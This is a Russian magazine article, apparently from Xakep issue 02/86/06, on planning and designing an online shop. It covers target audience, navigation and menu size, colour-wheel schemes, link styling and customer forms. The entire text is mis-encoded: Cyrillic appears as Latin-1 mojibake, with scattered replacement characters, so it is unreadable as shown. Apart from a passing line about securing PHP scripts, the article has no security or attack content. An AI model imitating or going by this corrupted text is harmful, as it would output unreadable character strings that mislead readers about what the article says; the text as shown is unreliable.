î÷åâèäíûì ïëþñîì äëÿ âëàäåëüöà webìàãàçèíà ÿâëÿåòñÿ òî, ÷òî íåîáÿçàòåëüíî èìåòü îôèñ, äîñòàòî÷íî íàíÿòü êóðüåðà èëè èìåòü ìàøèíó è ñâîáîäíîå âðåìÿ. À äëÿ êëèåíòîâ èíòåðíåò-ìàãàçèíîâ ãîðàçäî óäîáíåå ñäåëàòü çàêàç, íå âûõîäÿ èç äîìà èëè îôèñà, è ïîëó÷èòü òîâàð â òîò æå äåíü ïðÿìî â ðóêè. Èòàê, âñå ïîëîæèòåëüíûå ñòîðîíû äëÿ òîðãîâëè ÷åðåç Ñåòü íàëèöî.

ÏËÀÍÈÐÓÅÌ ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ

Ï

ëàíèðîâàíèå èíòåðíåò-ìàãàçèíà ÿâëÿåòñÿ âàæíåéøåé ÷àñòüþ åãî ñîçäàíèÿ, ïîòîìó ÷òî îíî ïîçâîëÿåò âûÿâèòü öåëè, àóäèòîðèþ è ïðî÷èå âíåøíèå ôàêòîðû, êîòîðûå ìîæíî îïðåäåëèòü çàðàíåå. Òàêèì îáðàçîì, íóæíî îòâåòèòü ñàìîìó ñåáå íà íåñêîëüêî âîïðîñîâ, èíà÷å çàòðà÷åííûå óñèëèÿ ìîãóò ëèáî íå äàòü ðåçóëüòàòîâ, ëèáî ïîëó÷åííûå ðåçóëüòàòû íå áóäóò íàñ óñòðàèâàòü. Ïðåæäå âñåãî íóæíî ïîíÿòü: êàêèå äåéñòâèÿ òû îæèäàåøü îò ïîñåòèòåëåé ñâîåãî ñàéòà. Ðàñïðîñòðàíåíèå èíôîðìàöèè î ñâîåé ôèðìå (èìèäæåâàÿ ðåêëàìà), î íîâûõ òåõíîëîãèÿõ è äîñòèæåíèÿõ, íîâûõ òîâàðàõ. Ìîæíî âåäü è ïðîäàâàòü íîâîñòè è ðåêëàìó, íå òàê ëè? Âîçìîæíî, òû ñîçäàåøü ìàãàçèí äëÿ òîãî, ÷òîáû êëèåíò ìîã îôîðìèòü ïîêóïêó, íå âûõîäÿ èç äîìà èëè îôèñà. Åñëè ýòî òàê, òî íåîáõîäèìî ðåøèòü âîïðîñ ñ äîñòàâê-îé. Åùå î÷åíü âàæíî ïðåäóñìîòðåòü áóäóùèå ñïîñîáû îïëàòû (Ñáåðáàíê, Webmoney è òä.). Âñå ýòè ìåëî÷è è îïðåäåëÿþò ôóíêöèîíàëüíîñòü ìàãàçèíà.

Äàëåå íåîáõîäèìî èññëåäîâàòü ðûíîê. Äëÿ òîãî ÷òîáû ïðîåêò áûë óñïåøíûì, ñëåäóåò ñîâåðøåííî ÷åòêî ïðåäñòàâèòü ñåáå âîîáðàæàåìûé ïîðòðåò ñâîåãî ïîñåòèòåëÿ. Ñêîðåå äàæå, íå ïðîñòî ïîñåòèòåëÿ, à ïîðòðåò ïîòåíöèàëüíîãî êëèåíòà. Êòî îí, ñêîëüêî åìó ëåò, ÷òî îí îæèäàåò óâèäåòü, äëÿ ÷åãî åìó íóæåí òâîé ñàéò? Äëÿ òîãî, ÷òîáû ëó÷øå óçíàòü ïîòðåáíîñòè ñâîåãî ïîñåòèòåëÿ, íåïëîõî áûëî áû óñòàíîâèòü íà ñâîåì ñàé��å íåáîëüøîé îïðîñíûé ëèñò. Íàïðèìåð, «Âîïðîñ äíÿ», «Ïîêóïàåòå ëè âû òîâàðû ÷åðåç Èíòåðíåò?» è ò.ï. Íåïëîõî âûÿñíèòü, êàêèå àðãóìåíòû ìû ñìîæåì ïðåäñòàâèòü ïîñåòèòåëþ ñâîåãî ñàéòà, ÷òîáû äîêàçàòü ñâîþ êîìïåòåíòíîñòü.  ÷åì êîíêðåòíî êëèåíò óâèäèò ñâîé âûèãðûø, åñëè îáðàòèòñÿ èìåííî ê íàì, à íå ê íàøèì êîíêóðåíòàì? Êàêèå ìû ìîæåì ïðåäñòàâèòü äîêàçàòåëüñòâà, íà êàêèå èñòî÷íèêè èíôîðìàöèè ìîæåì ñîñëàòüñÿ, ïîäòâåðæäàþùèå íàøå ïðåâîñõîäñòâî? Íó è, êîíå÷íî æå, êàêèå ëüãîòû ìû ñìîæåì ïðåäîñòàâèòü êëèåíòàì?

XÀÊÅÐ 02 /86/ 06


ÎÑÍÎÂÍÎÉ ÏÎÊÀÇÀÒÅË Ü ÏÐÎÔÅÑÑÈÎÍÀËÈÇ ÌÀ  WEB-Ä ÄÈÇÀÉÍÅ — ÀÊÊÓÐÀÒÍÎ ÑÒÜ È ×ÈÑÒ ÎÒÀ ÑÒÈËß Íå ñòîèò çàáûâàòü, ÷òî ïðè íàïèñàíèè php-ñêðèïòîâ îñîáîå âíèìàíèå ñëåäóåò óäåëèòü èõ áåçîïàñíîñòè. Ëó÷øå ñðàçó ïðåäóñìîòðåòü âîçìîæíûå ëàçåéêè è çàêðûòü èõ.

ÌÅËÎ×È Â ÄÈÇÀÉÍÅ ÒÂÎÐÈÌ ÄÈÇÀÉÍ

×

òîáû ìàãàçèí ïîëüçîâàëñÿ óñïåõîì, îí äîëæåí ïîñòîÿííî îáíîâëÿòüñÿ, íå äîëæåí êàçàòüñÿ «çàñòûâøèì». Åñëè ïîñåòèòåëü áóäåò óâåðåí â òîì, ÷òî îí íàéäåò íà ñàéòå ÷òî-òî äëÿ ñåáÿ íîâîå, îí îáÿçàòåëüíî âåðíåòñÿ íà íåãî. Ìîæíî äàâàòü ññûëêè íà èíòåðåñíóþ äëÿ êëèåíòà èíôîðìàöèþ, êîòîðàÿ ïîÿâëÿåòñÿ íà äðóãèõ ñàéòàõ.  ýòîì ñëó÷àå êëèåíò íà÷íåò îòíîñèòüñÿ ê òåáå, êàê ê ýêñïåðòó. Îäíàêî ñòîèò áûòü îñòîðîæíûì â ýòîì âîïðîñå, íóæíî îáÿçàòåëüíî ïðîñëåäèòü, íå ñìîæåò ëè ïîòåíöèàëüíûé êëèåíò ïîïàñòü ïî íàøåé æå ññûëêå ê íàøåìó êîíêóðåíòó. Çàäóìàåìñÿ è íàä òåì, ÷òî ìû ìîæåì ïðåäëîæèòü ñâîåìó ïîòåíöèàëüíîìó êëèåíòó áåñïëàòíî. Åñëè ìû çàíèìàåìñÿ ïðîäàæåé ïðîãðàììíûõ ïðîäóêòîâ, òî ñìåëî ïðåäëàãàåì ñâîèì êëèåíòàì áåñïëàòíûå äåìêè. Ñòóäèè âåá-äèçàéíà â âèäå áåñïëàòíîé óñëóãè ìîãóò ïðåäëîæèòü áåñïëàòíóþ ðåãèñòðàöèþ â êàòàëîãàõ. Êëèåíò äîëæåí îáÿçàòåëüíî ïðåäïðèíÿòü êàêîå-òî äåéñòâèå â íàøåì èíòåðíåò-ìàãàçèíå.

Åñëè æå ó íåãî íå ïîÿâèëîñü æåëàíèå ñîâåðøèòü êàêîåòî äåéñòâèå íåìåäëåííî, òî ýòî æåëàíèå íå ïîÿâèòñÿ è â äàëüíåéøåì. Ìû íå áóäåì ãîâîðèòü î áàííåðàõ, îáìåíå ññûëêàìè, ðåãèñòðàöèÿõ â êàòàëîãàõ è ò.ï, òàê êàê ýòî ñàìî ñîáîé ðàçóìåþùååñÿ. Ãîâîðÿ î ñàìîðåêëàìå ñàéòà, ìíå áû õîòåëîñü íàïîìíèòü î òîì, ÷òî èíôîðìàöèþ î íàøåì web-óçëå (URL è Email) íåîáõîäèìî âêëþ÷èòü â âèçèòêè, êàòàëîãè, áþëëåòåíè, áðîøþðû, äåëîâûå ïèñüìà.  íàðóæíîé ðåêëàìå, â ðåêëàìå íà òðàíñïîðòíûõ ñðåäñòâàõ, íà ñïåöîäåæäå íå çàáûâàéòå ïèñàòü URL ñàéòà. Èíà÷å ãîâîðÿ, â ëþáîì ìåñòå, ãäå ïîÿâëÿåòñÿ íàçâàíèå íàøåé ôèðìû èëè êîìïàíèè, äîëæåí ïîÿâëÿòüñÿ àäðåñ èíòåðíåò ìàãàçèíà, åñëè, êîíå÷íî, ó òåáÿ åñòü âîçìîæíîñòè äëÿ ïîäîáíîãî ïðîäâèæåíèÿ. À åñëè òàêèõ âîçìîæíîñòåé íåò, òî ïóãàòüñÿ íå ñòîèò, ìîæíî ðàñêðóòèòüñÿ ïðîñòî ÷åðåç Èíòåðíåò, áåç âíåøíèõ ôàêòîðîâ, âåäü ãëàâíàÿ çîíà äåéñòâèé â íàøåì ñëó÷àå — Ñåòü.

Ò

åïåðü, êîãäà ñ íåîáõîäèìûìè áàíàëüíîñòÿìè ïîêîí÷åíî, áåðåìñÿ çà ñàìóþ êðåàòèâíóþ ÷àñòü ðàçðàáîòêè ìàãàçèíà. Åñòü íåñêîëüêî îñíîâíûõ ïðàâèë «õîðîøåãî òîíà»… Ïðåæäå âñåãî ïðîñòîòà — çàëîã óñïåõà. Âñÿ ñèëà õîðîøåãî äèçàéíà çàêëþ÷àåòñÿ â ïðîñòîòå. Åñëè ñîãëàñåí ñ ýòèì óòâåðæäåíèåì, òî ìîæåøü äàëüøå íå ÷èòàòü.  ïðîòèâíîì ñëó÷àå, òåáå ïðèäåòñÿ îñîçíàòü, ÷òî äëÿ ñîçäàíèÿ êà÷åñòâåííîãî äèçàéíà íåîáÿçàòåëüíî èñïîëüçîâàòü Flash, àíèìàöèþ è ãîëëèâóäñêèå DHTML-ñïåöýôôåêòû îò Microsoft. Áîëåå òîãî, èíîãäà ýòî äàæå âðåäíî. Âåäü ïîäàâëÿþùåå áîëüøèíñòâî äåéñòâèòåëüíî õîðîøèõ ñàéòîâ (íåîáÿçàòåëüíî ìàãàçèíîâ), ïðåæäå âñåãî ñîäåðæèò èíòåðåñíóþ òåêñòîâóþ èíôîðìàöèþ. È, ñëåäîâàòåëüíî, äèçàéí ïîä÷èíåí ñîäåðæèìîìó, à íå íàîáîðîò. Îñíîâíîé ïîêàçàòåëü ïðîôåññèîíàëèçìà â web-äèçàéíå — àêêóðàòíîñòü è ÷èñòîòà ñòèëÿ. Îòêàæè ñåáå â âîçìîæíîñòè âûáîðà ðàçíîîáðàçíûõ øðèôòîâ, îãðàíè÷ü öâåò òðåìÿ îòòåíêàìè, îòêàæèñü îò àíèìàöèè è áîëüøèõ êàðòèíîê... À òåïåðü ïîïðîáóé ïðèäóìàòü äèçàéí. Òÿæåëî? À êàê æå åùå? Êîíå÷íî, ýòî íå çíà÷èò, ÷òî íóæíî îòêàçàòüñÿ îò ãðàôè-

êè è ñêîíöåíòðèðîâàòüñÿ íà áåëîì ôîíå. Íåò. Îïÿòü-òàêè ñìîòðèì, äëÿ êàêèõ öåëåé ñîçäàåì èíòåðíåò-ìàãàçèí. Íàïðèìåð, èíòåíåò-ìàãàçèí äèçàéíåðñêîé/õàêåðñêîé êîìàíäû òðåáóåò ïîâûøåííîãî ñîäåðæàíèÿ ãðàôèêè. À âîò ìàãàçèíó, êîòîðûé ïðîäàåò âñå, òî åñòü ó êîòîðîãî âåñüìà áîãàòûé àññîðòèìåíò, íàïðèìåð http://ozon.ru, íåîáÿçàòåëüíî áëèñòàòü êðóïíûìè ÿðêèìè flash-ðîëèêàìè. Èòàê, ìîæíî ñäåëàòü âûâîä: ãðàôèêà íà ñàéòå — ýòî õîðîøî, âîïðîñ òîëüêî â òîì, êàê îíà áóäåò îïòèìèçèðîâàíà è íå áóäåò ëè ýòî ëàìåðñêèé íàáîð êëèïàðòîâ... Îòìåòèì íåñêîëüêî âàæíûõ ìîìåíòîâ, íà êîòîðûå ñëåäóåò îáðàòèòü âíèìàíèå ïðè ñîçäàíèè äèçàéíà. Âî-ïåðâûõ, ñêîíöåíòðèðóåìñÿ íà ðàñïîëîæåíèè èíôîðìàöèè íà ñàéòå. Îñíîâíîé ïðèíöèï îïÿòü-òàêè — íàãëÿäíîñòü è ïðîñòîòà. Êîëè÷åñòâî è ðàñïîëîæåíèå èíôîðìàöèîííûõ áëîêîâ çàâèñèò îò çàäà÷, âîçëàãàåìûõ íà ïðîåêò è ñîäåðæàíèå. Íàïðèìåð, ïðè ñîçäàíèè èíòåðíåò-ìàãàçèíà ïî ïðîäàæå ýëèòíîãî àëêîãîëÿ, íåîáõîäèìî â âåðõíåé ÷àñ òè «ðàáî÷åé îáëàñòè» âêðàòöå ðàññêàçàòü, ïî÷åìó âûãîäíî ïîêóïàòü àëêîãîëü èìåííî òóò. Íà âèäíîì ìåñòå ïîìåñòèòü èíôîðìàöèþ î ñïåöèàëüíûõ ïðåäëîæåíèÿõ äëÿ áàðîâ, ðåñòîðàíîâ, îïòîâûõ êëèåíòîâ.

ÊÐÎÑÑÁÐÀÓÇÅÐÍÎÑÒÜ Êàê íå êðóòè, áåç êðîññáðàóçåðíîé âåðñòêè íå îáîéòèñü. Íàäî ñäåëàòü òàê, ÷òîáû ìàãàçèí íîðìàëüíî îòîáðàæàëñÿ âî âñåõ ñîâðåìåííûõ âåðñèÿõ áðàóçåðîâ. Íó íå âî âñåõ, à, ïî êðàéíåé ìåðå, â îñíîâíûõ íà ñåãîäíÿøíèé äåíü óæ òî÷íî — IE, Opera, Firefox, Safari. Ïîýòîìó â äàííîì âîïðîñå ëó÷øå íå ëåíèòüñÿ è ñäåëàòü âñå íà ñîâåñòü. Âåäü íåîáÿçàòåëüíî óïóñêàòü êëèåíòà, êîòîðûé ìîæåò ïðèíåñòè ïðèáûëü ãîðàçäî áîëüøóþ, ÷åì ìîðàëüíóþ. Ïðè ýòîì ñòîèò ó÷åñòü òîò ôàêò, ÷òî, êàê ïðàâèëî, ïðè ãðàìîòíîì ïîäõîäå ñõîæåñòü îòîáðàæåíèÿ îòñëåæèâàåòñÿ â ñàìîì íà÷àëå ñîçäàíèÿ äèçàéíà, ïðè âíåñåíèè êàæäîãî ñóùåñòâåííîãî èçìåíåíèÿ â åãî ñòðóêòóðó (íàïðèìåð, íîâîé òàáëèöû èëè ñóùåñòâåííîé ÿ÷åéêè).

XÀÊÅÐ 02 /86/ 06

039


PC_ZONE ///// ISSUE

Âî-âòîðûõ, íåîáõîäèìî ïîíÿòü, êàê þçåð áóäåò «ïîëçàòü» ïî ñàéòó, òî åñòü îïðåäåëèòüñÿ ñ íàâèãàöèåé. Åñëè ðàññìàòðèâàòü âçàèìîäåéñòâèå ÷åëîâåêà è ìàøèíû íåñêîëüêî øèðå, ÷åì íàáîð êíîïîê, òî íóæíî îòìåòèòü, ÷òî èíòåðôåéñ — ýòî íå òîëüêî ñèñòåìà íàâèãàöèè ïî ñàéòó, íî è ÷àñòü äèçàéíà, ïîä÷èíÿþùàÿñÿ ñâîèì ñïåöèôè÷íûì òðåáîâàíèÿì. Âñå ôóíêöèè ýëåìåíòîâ èíòåðôåéñà äîëæíû áûòü èíòóèòèâíî ïîíÿòíû.  ðàìêàõ îäíîãî ïðîåêòà äîëæåí èñïîëüçîâàòüñÿ òîëüêî îäèí âàðèàíò äèçàéíà èíòåðôåéñà. Èíòåðôåéñ — ýòî íå ðåêëàìà. Îí äîëæåí áûòü ÷åòêî âûðàæåí, â ðàìêàõ îáùåé êîíöåïöèè äèçàéíà ñàéòà, íî íå äîëæåí îòâëåêàòü îò ñîäåðæàíèÿ ñòðàíèö.  ïðîåêòàõ ñ áîëüøèì îáúåìîì èíôîðìàöèè è ñëîæíîé ñòðóêòóðîé, êðîìå ýëåìåíòîâ íàâèãàöèè, íåîáõîäèìî èñïîëüçîâàòü ýëåìåíòû èíäèêàöèè, ïîêàçûâàþùèå ìåñòîïîëîæåíèå äàííîé ñòðàíèöû â ñòðóêòóðå ñàéòà. Íóæíî ñîáëþäàòü è áîëåå îáùèå òðåáîâàíèÿ ê äèçàéíó, íàêëàäûâàåìûå ôèçèîëîãèåé ÷åëîâåêà. Âàæíàÿ èíôîðìàöèÿ (ýëåìåíòû óïðàâëåíèÿ) äîëæíû íàõîäèòüñÿ íà ïåðåäíåì ïëàíå. Èíòåðôåéñ äîëæåí ñòðîèòüñÿ «âîêðóã» îáúåêòîâ, ðàäè êîòîðûõ ñîçäàâàëñÿ ñàéò. Ìåíþ, â òîé èëè èíîé ñòåïåíè, äîëæíî îòðàæàòü ñòðóêòóðó ñàéòà, ýòî ïîìîæåò ïîíÿòü, êóäà íóæíî èäòè äëÿ ïîëó÷åíèÿ èñêîìîé èíôîðìàöèè. Ïîïàâ ïàðó ðàç íå òóäà, ïîñåòèòåëü, ñêîðåå âñåãî, ïîêèíåò ìàãàçèí, òàê è íå ñòàâ êëèåíòîì. Ïðè ðàáîòå ñ áîëüøèì îáúåìîì èíôîðìàöèè ïîíèìàíèå ïðåäïî÷òèòåëüíåé çàïîìèíàíèÿ. Êðàòêîâðåìåííàÿ ïàìÿòü ÷åëîâåêà îãðàíè÷åíà 7-þ ýëåìåíòàìè èíôîðìàöèè. Ñåìü — ýòî óñðåäíåííîå çíà÷åíèå, îáû÷íî îíî ìåíÿåòñÿ â ïðåäåëàõ îò 5 äî 9. Ïîýòîìó, åñëè åñòü âîçìîæíîñòü, îðèåíòèðîâàòüñÿ íóæíî íà öèôðó 5, à íå 7. Èç ýòîãî âûòåêàåò, ÷òî â ïðîñòîì ìåíþ êîëè÷åñòâî ïóíêòîâ íå äîëæíî ïðåâûøàòü 7. Åñëè ïóíêòîâ ìåíþ áîëüøå, èõ íàäî ðàçáèòü íà ãðóïïû. Ïðè ýòîì ãðóïï äîëæíî áûòü íå áîëåå 7 è êîëè÷åñòâî ïóíêòîâ â îäíîé ãðóïïå íå äîëæíî ïðåâûøàòü 7. ×òî ýòî äàåò? Åñëè ìåíþ ñàéòà çàïîìèíàåòñÿ ïðè ïåðâîì âçãëÿäå, ýòî ñðàçó ïîìîãàåò ïîíÿòü, î ÷åì ñàéò (â ïåðâîì ïðèáëèæåíèè), êàêóþ èíôîðìàöèþ îí ñîäåðæèò, ãäå èñêàòü íóæíóþ èíôîðìàöèþ. Êðîìå òîãî, ìåíþ ñîõðàíÿåòñÿ â ïàìÿòè âî âðåìÿ

040

ðàáîòû ñ ñàéòîì. ×òî äåëàåò ðàáîòó áîëåå óäîáíîé è ïîíÿòíîé. Åñëè ìåíþ ñàéòà áîëåå äëèííîå, òî íå ôàêò, ÷òî åãî äî÷èòàþò äî êîíöà. Ëþáàÿ çàäà÷à äîëæíà ðåøàòüñÿ ìèíèìàëüíûì ÷èñëîì äåéñòâèé, ëîãèêà ýòèõ äåéñòâèé äîëæíà áûòü î÷åâèäíîé äëÿ ïîëüçîâàòåëÿ, äâèæåíèÿ êóðñîðà è ãëàç ïîëüçîâàòåëÿ äîëæíû áûòü îïòèìèçèðîâàíû. Â-òðåòüèõ, ñîçäàâàÿ èíòåðíåò-ìàãàçèí, íóæíî ÷åòêî ïîäîáðàòü öâåòîâóþ ãàììó. Öâåò — îäèí èç ñàìûõ íåîäíîçíà÷íûõ ýëåìåíòîâ âåá-äèçàéíà. Öâåò ìîæåò ïîä÷åðêíóòü êîíòåêñò, à ìîæåò è îòòîëêíóòü. Äëÿ ñîçäàíèÿ ýôôåêòèâíîãî äèçàéíà íåîáõîäèìî ó÷èòûâàòü ðÿä òðåáîâàíèé, íàëàãàåìûõ íà âûáîð öâåòîâîãî ðåøåíèÿ: òåêñò íå äîëæåí ñëèâàòüñÿ ñ ôîíîì, à çàãîëîâêè — òåðÿòüñÿ; èñïîëüçîâàíèå êîíòðàñòíûõ ñî÷åòàíèé âûçûâàþùèõ íàïðÿæåíèå ãëàç, òàêæå íåïðèåìëåìî; íåîáõîäèìî, ÷òîáû öâåòîâîå ðåøåíèå ñîîòâåòñòâîâàëî ôîðìå ïîäà÷è ìàòåðèàëà, åãî ñîäåðæàíèþ, àóäèòîðèè ñàéòà. Ïðè ïîèñêå öâåòîâîãî ðåøåíèÿ âàæíî íàéòè ñî÷åòàíèå öâåòîâ, ãàðìîíèðóþùèõ äðóã ñ äðóãîì. Óíèâåðñàëüíûõ ðåøåíèé, ïðèâîäÿùèõ ê 100% óñïåõó íåò, íî åñòü ìåòîäèêè, ïîìîãàþùåå äîáèòüñÿ õîðîøèõ ðåçóëüòàòîâ. Ïðè ïîäáîðå ñî÷åòàíèÿ èç äâóõ öâåòîâ ìîæíî èñïîëüçîâàòü ìåòîäèêó, îñíîâàííóþ íà ñâîéñòâàõ öâåòîâîãî êðóãà. Åñëè âûáðàòü äîïîëíÿþùèå (êîìïëèìåíòàðíûå) öâåòà, ëåæàùèå íà êðóãå íàïðîòèâ, òî êàæäûé èç íèõ áóäåò â ñî÷åòàíèè ñ äðóãèì ÿð÷å è âûðàçèòåëüíåå. Ïðè ïîäáîðå ãàììû èç òðåõ öâåòîâ òàêæå ìîæíî âîñïîëüçîâàòüñÿ ñâîéñòâàìè öâåòîâîãî êðóãà. Íàëîæèâ íà íåãî ðàâíîáåäðåííûé òðåóãîëüíèê, ïîëó÷àåì òðè öâåòà, ëåæàùèå ïî�� âåðøèíàìè òðåóãîëüíèêà. Ýòî îäèí èç ñàìûõ ïðîñòûõ ñïîñîáîâ ïîäáîðà òðèàäû ãàðìîíèðóþùèõ öâåòîâ. Åùå îäèí ìåòîä, îñíîâàííûé íà ñâîéñòâàõ öâåòîâîãî êðóãà, ïîçâîëÿåò ïîäîáðàòü ðÿä öâåòîâ èìåþùèõ ðàçíûé îòòåíîê.  ýòîì ñëó÷àå èñïîëüçóþò öâåòà ëåæàùèå íà êðóãå ðÿäîì. Ýòè ìåòîäû ïîäáîðà öâåòà ìîæíî èñïîëüçîâàòü êàê ïî îòäåëüíîñòè, òàê è â ñî÷åòàíèè äðóã ñ äðóãîì. Ïðè ýòîì íåîáÿçàòåëüíî èñïîëüçîâàòü èìåííî óêàçàííûå ñî÷åòàíèÿ öâåòîâ. Äèçàéí — ïðîöåññ òâîð÷åñêèé, è òîëüêî êðåàòèâíûé ïîäõîä ìîæåò ãàðàíòèðîâàòü óñïåõ.

ÌÅËÎ×È Â ÄÈÇÀÉÍÅ

Ç

àïîìíè, ÷òî ìåëî÷è î÷åíü âàæíû! Ïîä ìåëî÷àìè ÿ èìåþ â âèäó âñÿêîãî ðîäà âûðàâíèâàíèÿ, ìåëêèå äåòàëè è öâåòîâûå íþàíñû, à òàêæå îòñóòñòâèå ìåëêèõ «ïàðàçèòíûõ» äåòàëåé è ñâÿçåé. Äèçàéíåð, ðàáîòàÿ íàä ñâîèì ïðîåêòîì, ìîæåò ïîòðàòèòü íà îòòà÷èâàíèå äåòàëåé ÷óòü ëè íå ïîëîâèíó âñåãî âðåìåíè ðàáîòû íàä íèì. Òàêîå ïîëîæåíèå äåë ìîæåò óäèâèòü, íî ýòî ñòîÿùåå çàíÿòèå. Äåëî â òîì, ÷òî ÷åëîâåê ðàññìàòðèâàÿ ïðîèçâåäåíèÿ èñêóññòâà, â êîòîðîì ìíîãî íþàíñîâ, ïîëó÷àåò áîëüøîå óäîâîëüñòâèå. ×åì áîëüøå îí ñìîòðèò, òåì áîëüøå äåòàëåé îí îáíàðóæèâàåò. Ýòî çàíÿòèå äîñòàâëÿåò ðàçóìó ýñòåòè÷åñêîå óäîâîëüñòâèå. Ñðàâíèòåëüíî áåäíà íþàíñàìè ðåêëàìà. Îíà íàöåëåíà íà ìãíîâåííîå âîñïðèÿòèå, à íå íà äîëãîå ðàññìàòðèâàíèå, êàê êàðòèíà. Èñêëþ÷åíèåì èç ýòîãî ïðàâèëà ìîæåò ñòàòü íåêîòîðûå èç òåëåâèçèîííûõ ðîëèêîâ, êîòîðûå ïðèÿòíî ñìîòðåòü íå îäèí ðàç. Ïîýòîìó íå ëåíèòåñü îòòà÷èâàòü äåòàëè â ñâîåì ïðîèçâåäåíèè. Òîëüêî îáðàòèòå âíèìàíèå: «îòòà÷èâàòü», à íå äîáàâëÿòü ÷òî-òî ñîâñåì íîâîå. Ýòî ìîæåò íàðóøèòü èíòåãðàöèþ. Óìåíèå ðàññòàâëÿòü íþàíñû ïðèõîäèò ñ îïûòîì, è ïðîôåññèîíàëû äåëàþò ýòî ïðàêòè÷åñêè ìàøèíàëüíî.

ïîäáèðàåì ñî÷åòàíèå ìåòîäîì, îñíîâàííûì íà ñâîéñòâàõ öâåòîâîãî êðóãà, êîòîðûé ïîçâîëÿåò ïîäîáðàòü ðÿä öâåòîâ, èìåþùèõ ðàçíûé îòòåíîê

ïîäáèðàåì ñî÷åòàíèå èç äâóõ öâåòîâ ïðè âûáîðå öâåòîâîãî ðåøåíèÿ äëÿ äèçàéíà

ïîäáèðàåì ñî÷åòàíèå èç òðåõ öâåòîâ äëÿ äèçàéíà íàøåãî èíòåðíåò-ìàãàçèíà

ÊÀ×ÅÑÒÂÅÍÍÛÅ ÑÑÛËÊÈ

Â

Èíòåðíåòå ñëîæèëàñü òàêàÿ ñèòóàöèÿ, ïðè êîòîðîé ïðàêòè÷åñêè êàæäûé âëàäåëåö èíòåðíåò-ìàãàçèíà ñ÷èòàåò ñåáÿ «êðóòûì äèçàéíåðîì». Êàæäûé âëàäåëåö áîëåå èëè ìåíåå óñïåøíîãî ìàãàçèíà — âäâîéíå. È íèêòî ïî÷åìó-òî íå õî÷åò ïðèñëóøèâàòüñÿ ê ñîâåòàì. Íó äà ëàäíî, îñòàâèì ýòî íà èõ ñîâåñòè. À ñåé÷àñ ïîãîâîðèì ëó÷øå î ïðàâèëüíûõ ññûëêàõ. Âî-ïåðâûõ, íóæíî äåëàòü ññûëêè èíôîðìàöèîííî çíà÷èìûìè. Íàïðèìåð, ÷òî çíà÷èò ññûëêà

XÀÊÅÐ 02 /86/ 06


«ÇÄÅÑÜ»? Òîëüêî íå íàäî ãîâîðèòü, ÷òî îíà õîðîøî ñìîòðèòñÿ âìåñòå ñ òåêñòîì. Íåò, îíà è ñ òåêñòîì ñìîòðèòñÿ îòâðàòèòåëüíî. Âòîðîå: ññûëêà äîëæíà áûòü óäîáíîé äëÿ ÷òåíèÿ. ×òîáû ññûëêà áûëà óäîáíîé, îíà äîëæíà ñîñòîÿòü íå áîëåå ÷åì èç ÷åòûðåõ ñëîâ. Íè â êîåì ñëó÷àå íåëüçÿ äîïóñêàòü íà ñâîåì ñàéòå òî, ÷òî ñäåëàíî íà ñàéòå www.utro.ru (ïðàêòè÷åñêè êàæäûé êóñîê òåêñòà — ññûëêà), â òàêîé ñèòóàöèè ïîëüçîâàòåëÿì î÷åíü íåóäîáíî îðèåíòèðîâàòüñÿ íà ñàéòå, ìîæíî ïîïàñòü ìûøêîé íå òóäà, êóäà íóæíî. È ññûëêà äîëæíà áûòü ïîä÷åðêíóòîé (ýòî íåëüçÿ ñ÷èòàòü ïîñòîÿííûì ïðàâèëîì, íî äåëàòü ññûëêè íåïîä÷åðêíóòûìè ìîæíî òîëüêî â 25% ñëó÷àåâ). Äåëî â òîì, ÷òî ïîëüçîâàòåëè ïðèâûêëè ê òîìó, ÷òî ññûëêè ïîä÷åðêíóòûå. Ïðîñòî ïðèâûêëè. È îòâûêàòü íå õîòÿò. Ê òîìó æå ïîä÷åðêíóòûå ññûëêè õîðîøî âûäåëÿþòñÿ ñðåäè îñòàëüíîãî òåêñòà.

ÃÐÎÌÎÇÄÊÈÅ ÔÎÐÌÛ

È

çâåñòíî íåñêîëüêî ïðîáëåì, ñâÿçàííûõ ñ ôîðìàìè. Êàêèõ? Ôîðìû ñëèøêîì ÷àñòî èñïîëüçóþòñÿ â èíòåðíåò-ìàãàçèíàõ, è îíè îêàçûâàþòñÿ ñëèøêîì áîëüøèìè, ñ ìíîæåñòâîì íåíóæíûõ âîïðîñîâ è âàðèàíòîâ. Ïî áîëüøîìó ñ÷åòó íàì äëÿ web-ïðèëîæåíèé òðåáóåòñÿ íå÷òî áîëüøåå, ÷åì ñòàðàÿ ìåòàôîðà ïðèëîæåíèÿ. À ïîêà ïîëüçîâàòåëÿì ïðèõîäèòñÿ ñòàëêèâàòüñÿ ñ ôîðìàìè, ïîýòîìó ëó÷øå ñäåëàòü òàê, ÷òîáû ýòà âñòðå÷à ïðîøëà êàê ìîæíî áåçáîëåçíåííî. Âîò íåñêîëüêî ðåêîìåíäàöèé ïî ýòîìó ïîâîäó. Ñíà÷àëà óäàëè âñå ëèøíèå âîïðîñû. Çàòåì ñäåëàé îáÿçàòåëüíûìè ëèøü òå ïîëÿ, êîòîðûå òåáå áóäóò òî÷íî íóæíû. Äàëåå ïîçàáîòüñÿ î òîì, ÷òîáû ïîääåðæèâàòü ôóíêöèþ àâòîçàïîëíåíèÿ â áðàóçåðå. Äëÿ ýòî-

ãî âûáèðàé äëÿ ïîëåé â html-êîäå îáû÷íûå èìåíà (ïðîñòî name, address è ò.ï.) Åùå íå ïîìåøàåò óñòàíàâëèâàòü êóðñîð àâòîìàòè÷åñêè íà ïåðâîì ïîëå ôîðìû. Òàê ýêîíîìèòñÿ îäèí ùåë÷îê ìûøêîé. Ñòîèò ãèáêî ïîääåðæèâàòü ôîðìàò òåëåôîííûõ íîìåðîâ, íîìåðîâ êðåäèòíûõ êàðòî÷åê è ò.ä. Âåäü î÷åíü ïðîñòî çàïðîãðàììèðîâàòü êîìïüþòåð, ÷òîáû îí ñàì óäàëÿë ëèøíèå ñêîáêè è ïðîáåëû â íîìåðàõ. Ýòî îñîáåííî âàæíî â ñëó÷àÿõ ñ ïîæèëûìè ëþäüìè, êîãäà ìàãàçèíû òðåáóþò îò íèõ äàííûå â íåïðèâû÷íîì äëÿ íèõ ôîðìàòå. Çà÷åì òåðÿòü çàêàç òîëüêî èç-çà òîãî, ÷òî ïîêóïàòåëü ïðåäïî÷èòàåò êðàñèâî ãðóïïèðîâàòü öèôðû ïî ÷åòûðå â íîìåðå ñâîåé êðåäèòíîé êàðòî÷êè, à íå ââîäèòü èõ ñïëîøíûì ïîòîêîì èç 14 öèôð?

